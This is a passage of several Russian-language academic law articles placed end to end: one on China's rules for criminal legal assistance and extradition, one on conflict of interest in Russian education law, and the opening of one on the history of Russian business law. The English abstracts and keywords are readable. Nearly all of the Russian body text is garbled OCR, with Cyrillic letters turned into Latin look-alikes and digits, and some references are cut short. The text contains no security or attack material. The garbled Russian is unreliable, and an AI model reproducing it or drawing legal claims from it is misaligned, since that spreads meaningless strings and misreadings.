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rocyaapcTBa M OOIIeCTBa 3aKOHOJATENbCTBE, PErJIaMEHTHPYIOIIEM KOMIIEHCALMIO Bpena 3a
MPUYMHEHHBIC TICUXWYeCKue cTpaaanus. OIHako, HECMOTpsSs Ha CBOE IMOCTYyNAaTeIbHOE
JIBIDKCHHE, COBPEMEHHOE COCTOSTHHE JIAHHOTO MHCTHTYTA BO BCEX MPABOIOPSAKAX MO-TIPSIKHEMY
OCTaBISIET >kenarh Jjyuinero. [lomaraem, 4YTO NMBWJIMCTHYECKOW HAYKOM JOJDKHBI OBITh
BbIpa0OTaHbl TaKUE IMOCTYJAaThl U METOAUKU B cepe Ipa)KIaHCKO-IPAaBOBOM perjamMeHTaluu
KOMIICHCAIIUY 33 TIPUYMHEHHBIE OO0JIb ¥ CTpalaHus, KOTOPhIE MOTJIH OBITh IPUMEHHMBI BCEMU
OCHOBHBIMHU COBPEMEHHBIMU MPAaBOBBIMH CHCTEMaMU M OOecHeuuBad HMX €IWHOO0Opa3Hoe
MIPUMEHEHHE.
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AHHOTAIUSA

B crarbe mpoBoAMTCA aHANM3: JIEWCTBYIOIIMX IPABOBBIX HOPM  KHUTAMCKOIO
3aKOHOZATENIBCTBA, PETYJIUPYIOIIMX OKa3aHWE IPaBOBOM IIOMOIIM II0 YIOJOBHBIM JEJaM,
MIPOM3BOJCTBO BbIIAYM JJIsl YTOJIOBHOTO IIPECIEJOBAaHUS U MEpeNaud OCYXKAECHHBIX JIMIL;
MPaKTUKU BBICIINX CYy/1€OHBIX opraHoB Kurtas 1aHHON 00acTH IOpHIMUEecKOi MpakTHKU. Takxke
aBTOPOM JlaHa OILIEHKa BBIBOJIAM 3allaJHBIX IOPUCTOB O HEXKENATEILHOCTH COTPYIHHYECTBA C
KUTaHCKOM CTOPOHOM B HccnienyeMoit chepe MexXTyHApOIHBIX OTHOLICHHIH.

KiroueBble €j10Ba: yrojaoBHOE CyIONPOU3BOICTBO, MEXKIYHAPOIHOE COTPYAHUYECTBO,
Kuraiickast Hapoanas PecryOnuka, mpaBoBasi IOMOILb, SKCTPaIULIKs, Nepeiaya OCYXKICHHBIX,
MEKyHaApOIHBIN TOTOBOP, 3aIIpOC O BbIIAYE, YTOJIOBHOE AETI0, IPABA YEI0BEKA.
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Abstract

The author analyses the current legal regulations of Chinese legislation on the provision
of legal assistance in criminal cases, procedures of extradition and transfer of sentenced persons.
It also examines the practices of the highest judicial bodies of China in this area of legal practice.
Additionally, the author evaluates the opinions of Western lawyers regarding the unacceptability
of cooperation with China about criminal cases.

Keywords: criminal proceedings, international cooperation, People’s Republic of China,
legal assistance, extradition, transfer of sentenced person, treaty, extradition request, criminal
case, human rights.

[lpaBooTHOmIEHUsT B cdepe  YrojOBHOIO  CYJIONPOU3BOJICTBA  OTJIMYAIOTCS
MMIIEPATUBHOCTBIO, MOPSIIOK MX OCYILECTBICHHS PEryJlHUpYyeTCs HALMOHAIBHBIM YIOJIOBHO-
MPOLIECCYaTbHBIM 3aKOHOM JIMOO CHEHMATM3UPOBAHHBIM 3aKOHOM O MPABOBOM MOMOIIM WU
skcTpazuiuy.  OJgHAKO, MEXroCyJapCTBEHHOE  B3aUMOJCWCTBHME B  JaHHOM  cdepe
TPAHCHOPTUPYET MEXAHU3MBbI YTOJIOBHOTO IIPABOCYAMS B MEXKIYHAPOIHO-TIPABOBYIO TIOCKOCTb.
B pesynpTraTe yero MexayHapoJHOE COTPYIHUYECTBO B paMKax JTOCTHKEHUS LIeJIeH YTOJI0BHOTO
CYZIOTIPOM3BOZICTBA MpHOOpeTaeT TMOpPHUIHYIO MPaBOBYIO MHpupoxy. TeM He MeHee, B CHILY
CyBEpEHMTETa IIOCJIEHEE CJIOBO BCEr/Ja OCTAa€Tcs 3a KOHKPETHOM JOroBapUBarOLIeHCs
CTOPOHOM.

3amajiHple  WCCIIEAOBAaTE€IM MHOTME JECATWIETHS MPOJOKAIOT — TPaHCIMPOBATh
MHPOBOMY COOOIIECTBY HJICI0 O KYyJIbTYpPHOM pEISTHBU3ME IIpaB 4YeJOBEKa B a3MaTCKUX
rocyaapcTBax (KOHUEMIMS OTHOCUTEIBHOCTHU MpaB YEJIOBEKa, OTPUIIAHUE WX YHUBEPCATbHOCTU
B CHJIy OYEBHUJIHBIX UCTOPMUYECKUX, PETUTHO3HBIX U KYJIBbTYPHBIX pa3inuuii), B 0COOEHHOCTH —
Kuratickoit Haponnoit Pecriyonuke (nanee — KHP), B cBsizu ¢ uem npaBoBbIe CHOIIIEHUS B cdepe
YTOJIOBHOTO MPAaBOCYIUsI C a3UaTCKUMU NapTHEPAMM OXapaKTEPU30BaHbI NIPAKTUYECKA KAK HE
xenarenbHble. Ha camom gene, yBakeHHMe M oOecrieueHHE IMpaB 4YeJOBEKa OINpeNeieHbl B
KauyecTBe KOHCTUTYIIMOHHOU 00s13aHHOCTH KHTaiickoro rocynapcrsa (c1.33 Koncruryuuu KHP).
[lo Hamemy MHEHUIO, CTOJIb HETaTHBHOE OTHOIIEHWE K KUTANCKOMY 3aKOHOJATENLCTBY CO
CTOPOHBI 3alaJHBIX FOPUCTOB BBI3BAHO OJHO3HAYHON IOJIMTUYECKOM IMO3UIMEH a3MaTCKOro
[apTHEPa O HEBMEMIATENBCTBE JAPYTUX TOCYIAapCTB B €r0 BHYTPEHHHUE JIeNa: «BOMPOCHI,
OTHOCAIIMECS] K TIpaBaM 4YeloBeKa, JOJDKHBI ObITh, TJIABHBIM 00pa3oM, BO BHYTpPEHHEH
FOPUCIUKIIMY TOCYAAPCTB U PEIIaThesl MPU MOMOLIM 3aKOHOATEIbHbIX, aIMUHUCTPATUBHBIX U
MHBIX BHYTPEHHUX MeXaHU3MOB» [3]. B To ke Bpemsi, aMepHUKaHCKUE FOPUCTHI HE CKPBHIBAIOT,
YTO SIBJSIFOTCS CTOPOHHUKAMH COTPYAHHUYECTBA IO BOMPOCaM OAKCTPAIUIMU CYry0o Ha
OCHOBaHUM IPHUHIMIOB M LEHHOCTEN NpaBoBoil cucteMbl CoenuHeHHbIx LltaTtoB. IIpu aTomM
OOJBIIMHCTBO W3BEeCTHBIX ciiydaeB mnepenaund CIIIA kwralickux TpaKaaH, COBEPUIMBIIAX
npecTymuieHust npotuB uHTepecoB KHP, ocymectBisioce B pamMkax WMMHIPALMOHHOM
MPOLIETYPbI — BBIABOPEHUS [ 7].

Ceromust Kwuraiickass Hapognas PecrmyOnuka siBisieTcst HaJeXHBIM — MapTHEPOM
Poccuiickoit ®enepariui HE TOJBKO B SKOHOMHUYECKOH, HO U TMPaBOBOHM, KYJIbTYpPHO-
CIIOPTHBHOW, HAay4yHOM M 00pa3oBaTeNbHOM cepax, a TakKe COIO3HHKOM IO TOIUTHYECKON
KOHBIOHKTYpE [1]. OG0pOTHI B3aUMOJIEHCTBHSI POCCUHUCKON U KUTAMCKONH CTOPOHBI YCKOPSIFOTCS
Y HapallMBaroOTCs ¢ KaXIbIM rogoM. CienoBaTesibHO, BOSMOXKHO MPOTHO3UPOBATh YrIIyOJIeHHE
COTPYAHHMYECTBA MO BOMNPOCAM O MPABOBOM IMOMOLIM B paMKax YrOJOBHOI'O MPaBOCYIUS M
BBIJIAY€ JIMI[ JUIS YTOJIOBHOTO IMIPECNIENOBAaHHA, B CBA3M C YEeM IEJIeCOO0pa3HO H3YyYUTh
3aKOHO/ATENILCTBO a3UATCKOT0 MapTHEPa B UCCIENYeMOM 00IacTH IOPUINYECKON MPAKTUKH.

CornacHO oQUIMATBHBIM JaHHBIM KHTaHCKOH CTOpPOHBI 3a mocienHue 20 ner
KOJIMYECTBO MCXOJAILIMX 3alPOCOB O MPAaBOBOM COTPYJHMYECTBE YBEIMUMWIOCh B 1,5 pasza mo
CPaBHEHMIO C KOJMYECTBOM Bxoaaumx 3anpocoB. IIpu stom KHP sBnsercs ydactHukom 54
JBYCTOPOHHMX COIJIAIIEHWM O Bbliade, B ToM uyuciae ¢ Poccuiickoit ®@enepanueit, u 20
MHOT'OCTOPOHHUX MEKAYHApOJHBIX TOTOBOPOB, 3aTParuBaroOIIMX BOIPOCH! 00 AKCTpaauuuu [4].
Ho otHomeHust co ctpaHamu 3amazna OCTarOTCS HANPSHKEHHbIMH U HEYPEryJIUPOBAaHHBIMU B
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CWIIy WX OIaCEHUH IO TMOBOJY COOJIIOJICHUSI KUTAMCKOW CTOPOHOW (PyHIAaMEHTAIbHBIX IIPaB
YeJI0BEKa, B YACTHOCTH, HE IPUMEHEHUSI CMEPTHOM Ka3HM B KQUeCTBE Haka3aHus. B pesynbrare
yero «Kurail akTUBHO, HO O€3yCHEUIHO MPOJOIKAET AOOMBATHCS 3aKIHOUYEHUS] TOTOBOPOB 00
skcTpazuiuu ¢ CoenunenHeiMu Illtatamu, Kananoit, Asctpanueii n CoeqUHEHHBIM
KoponeBcTBoM, - FOPUCIUKIMAMU, KyJia COEraroT KUTAHCKUE KOPPYIIIUOHEPHD» [8].

[IpaBoBbIE OCHOBAaHUS BbIJAYM HJICHTUYHBI OTEYECTBEHHBIM: 3aKOH 00 3KCTpaJWINH
(mpunsaT B gexadpe 2000 roma), MEXITyHapOIHBIC TOTOBOPHI M MPUHIIUIT B3aUMHOCTH (principle
of reciprocity). BzaumoseiicTBre B paMKax yroJIOBHOTO MPAaBOCYIUSI MKy KUTAHCKOM M MHOU
JIOTOBapUBAIONICHCS] CTOPOHOM JOJDKHO OCYIIECTBIISAThCSA, MPEXKIE BCEro, Ha MPHUHIUMAX
paBEeHCTBA U B3aMMHOCTH: B CIIy4ae BO3MOXXHOCTH HApPYLICHUS] CYBEPEHUTETA WM ITyOIUYHBIX
nHTepecoB Kuras coTpymaHuyecTBo He momyckaercs (cT. 3 3akoHa 00 skctpamuimn) [5]. Uto
KacaeTcsl MPaBOBOM MOMOIIM 110 YTOJIOBHOMY Jieny, To coriacHo c¢1.491 YIIK KHP ona moxert
OBITH 3amlpolleHa WHOCTPAHHBIMU CYIEOHBIMM OpraHaMH M TMpPEAOCTaBIeHA B COOTBETCTBHHU C
3akonom Kuraiickoit Hapomuoit PecriyOnuku o MexXayHapomaHoW cyneOHOM MOMOIIM o
YTOJIOBHBIM JieJIaM M MEKIyHapoIHbIMU JloroBopamu. B 2021 romy BepxoBHBII HapOIHBIN Cyl
Kutast nONOIHUTENBHO MOSICHUJ, YTO KUTAWCKUE M WHOCTPAHHBIE CyJEOHBIE OpraHbl MOTYT
B3aMMHO 3aMpaliriBaTh CyeOHYIO MOMOIIb 0 YTOJIOBHBIM JiesiaM [6].

[TpoananmsupoBaB monoxenuss 3akona KHP 00 »skcrpaguim, mnpencraBiseTcs
BO3MOYHBIM BBIICIUTH CJEIYIOLIUE YCIOBUS M TPUHIIMIIBI BBIIAUW JIUI[ JJISI OCYIIECTBICHUS
YTOJIOBHOTO IIPECIIEOBAHUS KUTAMCKON CTOPOHOM:

- INBYCTOPDOHHSISI KpUMMHAQJIM3aLMs JESIHMSA, 3a COBEPIIEHHE KOTOPOro
YTOJIOBHBIM 3aKOHOM IPEIyCMOTPEHO HaKa3zaHHWE B BHJIE JIMIICHUS CBOOOIBI
Ha CPOK HE MEeHee 0JIHOTro roja (cT.7);

— MPUHIIIT HALIMOHATBHOCTH (3ampeT BhiAauu rpaxkaad Kuras, n.1 cr.8);

— OPUHIMIT «TYMaHUTapHON 3a00Thl O Oerjerne» (3ampeT BblJaud B CiIydae
COBEpLUECHHUS 3aIIPOLICHHBIM JIMIIOM HNOJIMTUYECKOr0 MPECTYIUIEHHS, 11.3 CT.8).
CTouT OTMETHTbH, YTO KUTAHCKOE 3aKOHOJATEIHCTBO HE COAEP)KUT KaKoro-
100 OTpeIeNieHHs WM KPUTEPHEB MOJJOOHBIX MpecTyIUieHnil. Tem He MeHee,
npyu 00OCHOBAHMHU TMOJUTH3MPOBAHHOCTH MPECTYITHOTO JESHUS KUTaickue
MPaBOBE/IBI CCHUTAIOTCS HA CyneOHyr0 mpakTuky CIIIA, npuBoas crnemyronmii
KBATU(DUIUPYIOMMIT TPU3HAK — COBEpIICHUE IMPECTYIUICHUSI B MEPUOJ
MO TUYECKUX OCCIIOPSIIKOB, BOMHBI, PEBOJIIOLIMY WITH MsTEkKa [8];

- MIPUHIMI 3alpeTa AUCKPUMUHALMM B OTHOLUEHMHU 3alpPOIIEHHOIO JIMIA IO
KaKOMY-THOO OCHOBAaHHUIO WM TpeOOBaHME CIPABEAJIUBOIO OTHOIICHHS K
HEMY B paMKax cyneOHoro pazouparenscrsa (1.4 cT.8);

— MIPUHIMI 3alpeTa MPUMEHEHUs MBITOK U WHBIX YHIKAIOIIUX JOCTOMHCTBO
JMYHOCTH CPEJICTB B 3alpalirBaroiieM rocyaaperse (1.7 cT.8);

— NOPUHIMII ~ TapaHTUPOBAHHOCTH  3alllMTHl  BblAaBaeMoro Jmuna (cT.14
npeaycMOTpeHa 00s13aHHOCTD 3arpalirBaromieil CTopoHsl npenoctaButs KHP
rapaHTUM O HEBBIJAYE JIMLA TPEThEMY TIOCYIapCTBY, 00 OTCYTCTBUHU
Cy/leHCKOM OHMOKM M OTCYTCTBMM BO30Y>KIEHHOTO YTOJOBHOTO J€la O
NPECTYIUIEHUH, COBEPLIEHHOM 10 nepenauyu jiuua). [lo Hamemy MHeHuIo,
yKa3aHHbIE TPUHLMIBI CBUIETENBCTBYIOT O IPU3HAHMM KHUTAHCKUMHU
NapTHEPaMU BBICOKOH CTENEHW 3HAYMMOCTH IIPaB YellOBeKa B NPOTUBOBEC
aOCypJHBIM OOBHHEHMSM IIpeJICTaBUTENEH 3amaIHbIX CTPaH.

PaccmoTpenne 3ampoca O BblJau€ MPOUCXOAWUT B HECKOJbKO 3TamnoB. llomyuaer u
NpOBEpSET 3alpoC HAa COOTBETCTBUE (OPMAIBHBIM IMPH3HAKAM, YKa3aHHbIM B KOHKPETHOM
MEXITYHApOIHOM JIOTOBOpE U 3aKoHE 00 AKCTpaauiu, MuHuctepcTBo nHOCTpaHHbIX aeia KHP,
rocJie yero 3amnpoc nposepsiercss Bricimm Hapoausiv cynom Kurast (High People’s Court) Ha
IIPEeIMET YIOBJIETBOPEHUS YCIOBUH BBIIAYM, ONPEIECICHHBIX KUTAaHCKON CTOPOHOMW, KOJJIETHEN
u3 Tpex cyzmeit (cr.16, 22 3akona 00 skcrpaauimu). llpy npusaTHM pemenus Boicumm
HapOJIHBIM CYJOM 0053aTeNIbHO YUUTHIBAETCS MHEHHE 3alpOIIEHHOro Jula. JJaHHbIi cyneOHbIi
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aKT MOXeT ObITh 0OkasioBaH B BepxoBHom HapoaHom cyzae Kuras (Supreme People’s Court) B
teyenue 10 gHEl ¢ MOMEHTa OIJIAIlIeHUsl pelleHHs 3ampomeHHoMy (ct.25). IlapamnensHo c
HafpaBJICHHEM 3alpoca B CyJ MOJy4YEHHbIE OT 3alpallvBalONIero TOCyAapcTBa JIOKYMEHTHI
HarmpaBJstoTCs B BepxoBHYI0 HapoaHyto pokypatypy Kuras (Supreme People’s Procuratorate)
JUI TIOJYYEHHUS] MHEHHUS MPOKYpopa 00 YTrOJIOBHOM Jieje, KOTOpPOE TaKKE YUYUTHIBAETCS MPHU
MIPUHATHN pelieHus o Bbaade nuia (ct.21). OkoH4yaTenbHOe pelieHre 00 yIOBIECTBOPEHUH WU
OTKa3e B Y/AOBJIETBOPEHUU 3ampoca 00 HKCTPAIUIMU OCYIIECTBIsAETCS [ 'ocynapcTBEHHBIM
coBetoM Kwutas (State Council) mocie yBemomieHuss MHUHHCTEPCTBOM HHOCTPAHHBIX [l
npyroit croponsl (cT.29 3akoHa 00 skcTpamuimn). HemocpencTeHHas nepeaava BbIIaBaeMOro
JHLAa ¥ €r0 UMYIIECTBa MPOM3BOANUTCS MUHHCTEPCTBOM 0O0IIECTBEHHOM Oe3omacHocTn Kuras
(ct.38).

Takum 00pa3zom, SKCTPaAUIIMOHHBIN MEXaHU3M, MMPUMEHsIeMbIi B KuTtae, oTinyaeTcst ot
OTEYECTBEHHOTO: BO-TIEPBHIX, OOJBIINM KOJIMYECTBOM BOBJICUECHHBIX TOCYAAPCTBEHHBIX OPraHOB
BJIACTH, BO-BTOPBIX, CYA€OHO-aJIMUHUCTPATUBHON NPUPOJON MPHUHATHS PEUICHUS O BbIAAYE
muna (Beiciimii Hapoasblii cyn u [ocymapctBeHnblii coBer Kurtas ¢ yueToM MHEHHs
mpokypopa). OpmHako, I KHTAWCKOM CTOPOHBI TaKkKe XapaKTepHa mpobiemMa CpOKOB
OKCTPAIUIIMOHHBIX TPOLEAYp — MHHMMYM M3 HHX YpEryJupOBaHbI Ha 3aKOHOJATEILHOM
ypoBHe. B pe3synmbrare uero mpouecc Bbyiaud Jimna ¢ ydactuem Kwutaiickoin Hapopnoii
PecnyOnuky MOXKET 3aHATH LIENoe AecAaTuiieTe [2].

*k*k
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https://t.me/government_rus/14739 (nata obpamienus: 22.09.2024).

2. Hdemo Wong Ho Wing mporus Ilepy. URL: https:/iachr.lls.edu/cases/wong-ho-wing-v-peru (mara
oOpamenus: 22.09.2024).
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M., 2004. C.17.
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AHHOTALUSA

PaccmarpuBaeTcss Bompoc KOH(IMKTa WHTEPECOB B  oOpa3oBarelbHOU  cdepe,
MPOU3BOIUTCSl aHAJHM3 TPUYUH BO3HUKHOBCHUS KOH(DJIMKTOB MHTEPECOB B OOpa30BaHHUH, WX
HETAaTUBHOMY BJIMSHHIO Ha Ka4yeCTBO 00pAa30BaTEIbHOIO MpPOIecca, a TaKKe MEXaHH3MYy HX
NPEIOTBPAIICHUST W pa3pellieHus. PaccMaTphBalOTCsT MPUMEPHhl KOH(IIMKTOB HHTEPECOB,
BO3HUKAIOIITUX MCKIY MperoaaBaTCIIMnU u aI[MHHHCTpaI.[HCﬁ, YYCHUKaAMH u
00pa30BaTeIbHBIMHU YUPEKICHUSMH.
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Abstract

The issue of conflict of interests in the educational sphere is considered, the analysis of
the causes of conflicts of interest in education, their negative impact on the quality of the
educational process, as well as the mechanism of their prevention and resolution is carried out.
Examples of conflicts of interest arising between teachers and administration, students and
educational institutions are considered.

Keywords: conflict of interest, educational sphere, quality of education, conflict
prevention, teachers, students, administration.

C mnpunsatuem @DenepampHoro 3akoHa ot 29 nekadbps 2012 roma Ne 273-03 "O6
obpazoBannu B Poccuiickoit ®enepanyu" moHATHE "KOHMIMKT WHTEPECOB" CTAlIO YacThIO
00pa30BaTEHHOTO 3aKOHOATEILCTBA CTPaHbI[ 1].

Wnes BHenpeHWs: CreUaIbHBIX HOPM JUIS YIIPABICHHS KOH(IMKTaMH HWHTEPECOB B
o0pazoBaTenbHOM cdepe TMONHOCTBIO OIpaBdaHa M JOCTOMHA MOIAEPKKH CO CTOPOHBI
rocylapcTBa B TMEPBYIO oOuepenb. YYEOHBIM IpOIecc, MCXOAs M3 CBOCH crenupuyecKoit
OpraHHu3alui U CyOBEKTOB, MOJBEPKEH 3HAYUTENLHBIM pUCKaM Koppymiuu. IMEeHHO mosToMy
MPOCTO HEOOXOAMMO CO3/1aBaThb M PEATM30BBIBATH IMPOEKTHI CTPATETHid, HAlpaBJCHHBIE Ha
MpeJOTBpaIlleHHe M YperyaupoBaHue KOH(MIMKTOB WHTEpecoB. be3ycnoBHO, B mpoliecce
pelieHusT TaHHOM TpoOJIeMbl HA IyTH 3aKOHOJATeNnel OyIyT CTOSTh Kak OOBEKTHBHEIC, TaK U
CYOBEKTHUBHBIE (PaKTOPBI, KOTOPBIE OJIHO3HAYHO OCJIOXKHSAT co3fanue 3(ppekTuBHOrO MexaHu3mMa
M0 YPEryJIMpOBaHMIO KOH(IIMKTa WHTEPECOB B oOpasoBarenbHOU cdepe. [Ipobiiema
3aKII04aeTcs B OTCYTCTBUM MH(OpMAIMH, KOTOpas JOKHA HCXOAWTh M3 00pa30BaTeNbHOTIO
YUpeKICHHUS, KacaeMo paboThl CO BCEMH CYOBEKTaMH, KOTOPBIE MOTYT OBITh 3a/IeHICTBOBAHbI B
BO3MOXXHOM KOH(DJIMKTE MHTEPECOB. BOMNBIINYIO PONIb Takke BIUSIET OTCYTCTBHUE CO CTOPOHBI
rocyJlapcTBa u 00IIEeCTBA KOHTPOJIS 3a TaHHOU chepoit.

Ha nanHbIi MOMEHT OTedyecTBEHHas 3aKOHOJAaTeNbHas 0a3a, B cdepe OTHOIICHMIA,
3apOXKIAIOIINXCS B 00pa30BaTEIbFHOM YUPEXKICHUU B CBSA3M C BO3HHMKHOBEHHEM KOH(QIIMKTA
WUHTEpPECOB, BCE €IIe HE UMEET UYEeTKHMX O4YepTaHui U OcTaeTcss He [0 KOHIA
pernameHTupoBanHoil. B pamkax ®enepanpHoro 3akoHa «O0 oOpazoBanuu B Poccuiickoii
denepauyn» OMNpENENCHO JIMIIb TEPMUHOJIOTHYECKOE TIIOHATHE «KOH(IUKT HHTEPECOB
MeTarOrMYecKoro pabOTHHUKA», BBEACHHUIO 3alpeTa Ha OKa3aHHE IUIATHBIX 00pa30BaTEIIbHBIX
yCAYr B CiIydasX HaIW4usg KOH(IUKTA HHTEPECOB y PAOOTHUKOB OOpa3OBaHUs, a TaKKe
YCTaHOBJICHUIO TIPHUHIIMIIOB PAa0OTHl KOMHCCHH IO PAa3pelICHHI0 CIOPOB MEXIy BCEMHU
y4acTHUKaMH 00pa30BaTeIbHOIO Inpolecca. MHTepecHo Takxke To, yTo B deepanbHOM 3aKOHE
«O TPOTHBONEHCTBUM KOPPYIIUM» TOHATHE KOH(QIMKT WHTEPECOB CpEaH pPaOOTHUKOB
00pa30BaHMs M UHBIX YUACTHUKOB 00pa30BaTeIbHOM JEATEbHOCTH HE OnpeeneHo|2].

[Tewanen TOT (pakT, YTO B 3aKOHOMATEIBCTBE TAKKE HE 3aKPEIUICHO, YTO aJIMUHHUCTPAIIHS
00pa30BaTeNbHOIO YUPEIKACHHUS WIM HHOE YIOJHOMOYEHHOE JHMIO O0s3aHbI OCYIIECTBIATH
JeSITEIbHOCTh TI0 HEJIOMYIIEHUIO U MPEeAOTBPAICHUIO CUTYallUi, CBA3aHHBIX C KOH(IMKTOM
HUHTEPECOB.

HaGmronatorcst  ompefiesieHHbIe CIOXKHOCTH B OTEYECTBEHHOM 3aKOHOJATEIIBCTBE,
KOTOpBIE CBSI3aHBI C ONPEICNCHUSIMU, HCIOIb3YeMbIMU IPU OOpAIlEHUH K TeMe KOH(IUKTA
MHTEPECOB B 00pa3oBaTesibHON cdepe. 3aKoHOIaTe b PE/ICTABISET HAM KOHKPETHBIE aClEKThI,
KOTOpbIE MOXXHO HCIIOJb30BaTh IMpH KBATU(UKAIUM CHUTyalldid B KadecTBE KOH(QIIMKTA
untepecoB. CormacHo denepanpHoMy 3akoHy «O0 obpazoBannu B Poccuiickoit deneparum,
KOH(JIMKT MHTEPECOB TEJarorndeckoro padOTHUKA MPEICTABISAET COOOW CHUTYALUIO, IIPH
KOTOpOM y TMeAaroruyeckoro pabOTHUKA TPU OCYIIECTBICHHMH WM MPOodhecCHOHATbHON
JeATeNIbHOCTH BO3HMKACT JINYHASI 3aWHTEPECOBAHHOCTh B TOIYYCHUH MAaTEPHATBbHOW BBITOJIBI
WIA WHOTO MpPEUMYIIECTBA U KOTOpas BIMSAET WM MOXET IMOBIUATh HA HaJUIexaliee
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WCIIOJTHEHUE TearOrMYeCKUM pabOTHHKOM TPOQPECCHOHATIBHBIX O0sS3aHHOCTEH BCIICACTBHE
MPOTUBOPEYUST MEXIY €ro JUYHOW 3aMHTEPECOBAHHOCTBIO M HMHTEpECaMd OO0YYaromIerocs,
poauTeneit (3aKOHHBIX TpeacTaBuTeneh)»| 1].
W3 maHHOTO OmpeAeneHus BBIICISIOTCS HECKOIbKO YCIOBHM, MPH KOTOPHIX CHUTYaIlUs
MOJKET KJIacCU(PUIIMPOBATHCS KaK KOH(PIUKT HHTEPECOB:
1.  KoH(}IUKT HMHTEpPEeCOB MOXET BO3HHUKHYTH TOJBKO IIMIIb B TMpOIEcce
OCYIIECTBIICHHUS MPOPECCUOHATBHON e TEIBHOCTH TIEIarora.
2. JIuuHas 3aMHTEPECOBAHHOCTH MEJarora B MaTepUaaIbHOM BBITOJE WU APYTUX

IPEUMYIIIECTBAX.

3. 9Ta 3aI/IHTepeCOBaHHOCTB JOJIDKHA OKa3bIBATh BIIWSIHUC WM CO34aBaThb
BO3MOXHOCTh TIOBJIMSATh HA KA4eCTBO BBITIOJHEHUS MPOGECCHOHATBHBIX
00513aTEIILCTB.

BelienepeunciieHHble  XapaKTEpUCTUKN TOHATUS JTal0T MOHATh, YTO OHO JIAeT JIMIIb
OOIIyI0 XapaKTePUCTUKY CHTYaIlMH, B KOTOPOH MOXKET BOSHHUKHYTh KOH(IIUKT MHTEPECOB, HE
naBas Oomblneil MHGOpMaIUK, KOTOpas Mo3BojuiIa Obl KBaTU(PUIIUPOBATh NEHCTBUS CYObEKTa
Kak KOH(MIMKT wuHTepecoB. DOpMYyIHpPOBKA «KOHPIUKT HHTEPECOB I€AArOrMYecKOro
pabOTHHKA)» TPENNoiaraeT, 4YTo TJIaBHBIMH YYaCTHHKAMH IOJOOHOTO KOH(MJIMKTA SBIISIFOTCS
caMu MeJaroru W JiMia, OTBEYaloIlUe 3a OpraHM3allui0 00pa3oBaTeIbHOIO IMpolecca. TeMm He
MeHee, B pealibHOM KU3HU B KOH(IUKT MOTYT ObITh BOBJICUEHBI U JPYTrU€ CTOPOHBI, HAIIPUMED,
aJIMUHUCTPALUSE 00pa30BaTEIHHOTO YUpesKaeHus|3].

B coorBerctBuM ¢ ®enepanbHbIM  3aKOHOM «O  NPOTUBOJAEHCTBUU  KOPPYILIAN»
CYIIECTBYET JOCTaTOYHO OO0Illee MOHUMAHUE ACUCTBHI, KOTOPhIE MOTYT pacCMaTpUBaThCs Kak
KOH()JIMKT UHTEPECOB B y4eOHOM nesiTenbHocTH. K TakuMm AeHCTBUSAM, IPUHUMAsi BO BHUMAaHHE
COBPEMEHHBIE YCIIOBHUS, MOKHO OTHECTH:

- BEJCHUE MEAAroroM YPOKOB M IUIATHBIX 3aHATUA C OJHUM U TEMH XK€
Y4EHUKAMU;

- o0MeH nHpopMaLueil Mex1y MearoroM 1 KoJjleraMi O YYeHUKaxX ¢ HU3KHUMU
NI0KAa3aTeNsIMU YCIIEBAEMOCTH JJIs1 IOTIOJIHUTEIBHOMN TOMOILIY;

- NPOBEJCHUE PETIETUTOPCKUX 3aHATUI BO BpPEMsI YPOKOB WJIM BHEYPOUHOMU
JESATENIbHOCTH;

- MOJTy4YEHHE MEAAroroM roIapkoB U YCIYT OT YYEHUKOB U UX POAUTENEH;

— cOOp CcpelcTB Ha HYXK/IbI 00pa30BaTeIbHON OpraHU3alliH, B KOTOPOil paboTaeT
Ie/1aror;

— yyacThe Mejarora B JKIOpM KOHKYpPCOB M OJMMIIMAQJ C YYacTHEM €ro
YUEHHKOB;

— MpeTIOKESHNE BHITOIHBIX YCIOBHIA OT poUTeNe 00ydaeMbIX UM JETel;

— HCII0JIb30BAaHUE BO3MOKHOCTEM poAuTeiel B CBOMX UHTepecax u Ap[4].

Takum 00pa3oM, B TEKYIIEM 3aKOHOJATEIbCTBE BOMNPOCHI KBAIM(UKAIMKA KOH(QIIMKTA
MHTEPECOB B 00pa3oBaTEIbHOU Cepe CTOAT JOCTATOYHO OCTPO, TaK KaK UX aOCTPaKTHOCTH
MOKET CO3/1aTh Mpo0IeMy MpH KBaauduKauu npaBoHapymeHus. C y4éTOM BbIIIEH3I0KEHHOTO
HEOOXOIMMO CBOEBPEMEHHO U 00JIee AETAIN30BAaHO OCYLIECTBIISITh U3MEHEHUS B ICHCTBYIOILEM
3aKOHOJATENIbCTBE, Ul TOTO, 4TOOBI Tpolecc OOy4eHHs B PA3IMYHBIX 0Opa30BaTENIbHBIX
YUpEKACHUSIX ObUT KOMGMOPTHBIM I BCEX YYACTHUKOB OTHOIICHHM, U 4TOOBI HOPMEI 19 cTaTthu
KonctuTyrum 66U UCIIOTHEHBI B TOJTHOM 00BEME.

***k
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35.

4. BapameBa E. B., 3earenusosa W. M. MHHOBalMOHHBIE KIacTepbl KaK OCHOBA HMHTErPALlMM HAYKU U
o0pazoBaHus // YnpaBieHue SKOHOMHUYECKMMH CHCTEMaMH : 3JIEKTPOHHBIA Hay4yHbIN xypHai. 2017. Ne 11
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AHHOTANA

PaccmatpuBaeTcst mepuonuzanys pa3BUTHS TPEANPUHUMATEIBCKOTO TipaBa B Poccum,
HA4YMHAsI C 3aPOXKJICHUSI PHIHOYHBIX OTHOILIEHUM M 3aKaHUMBasi COBPEMEHHBIMHU TEHCHIIMSMHU.
Oco0oe BHMMaHHE YAETSAETCS KIIOYEBBIM JTalaM, TaKUM KaK JIOPEBOIOIMOHHBIN TEPHOI,
COBETCKasi 3M0Xa W COBPEMEHHBIN JTal, BBIIESAS XapaKTepHbIE YEpPThl U U3MEHEHHs B
PETYISINN TpeANPUHAMATEIHCTRA.
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Abstract

The periodization of the development of business law in Russia is considered, starting
with the emergence of market relations and ending with modern trends. Special attention is paid
to key stages such as the pre-revolutionary period, the Soviet era and the modern stage,
highlighting the characteristic features and changes in the regulation of entrepreneurship.

Keywords: business law, market relations, economic factors, social factors, political
factors, historical development.

PasButne nmpennmpuHMMarenscTBa B PoccuM  CBSI3aHO ¢ 3aKOHOJATENIBCTBOM,
PErYJIUPYIOIMM  OTHOLIEHUS] CYOBEKTOB M paspeliaroiinM  KOHQUUKTB. B cTarbe
paccMaTpuBacTCs SBOJIIOLMS XO3SMCTBEHHOIO IIPaBa, HAYMHAS C JPEBHENW TOPrOBIIM, KOTOpas HE
MMeJia IMPaBOBOro peryiaupoBaHus. Toprosele oTHOwEHUs X-XII BEKOB OCHOBBIBAINMCH Ha
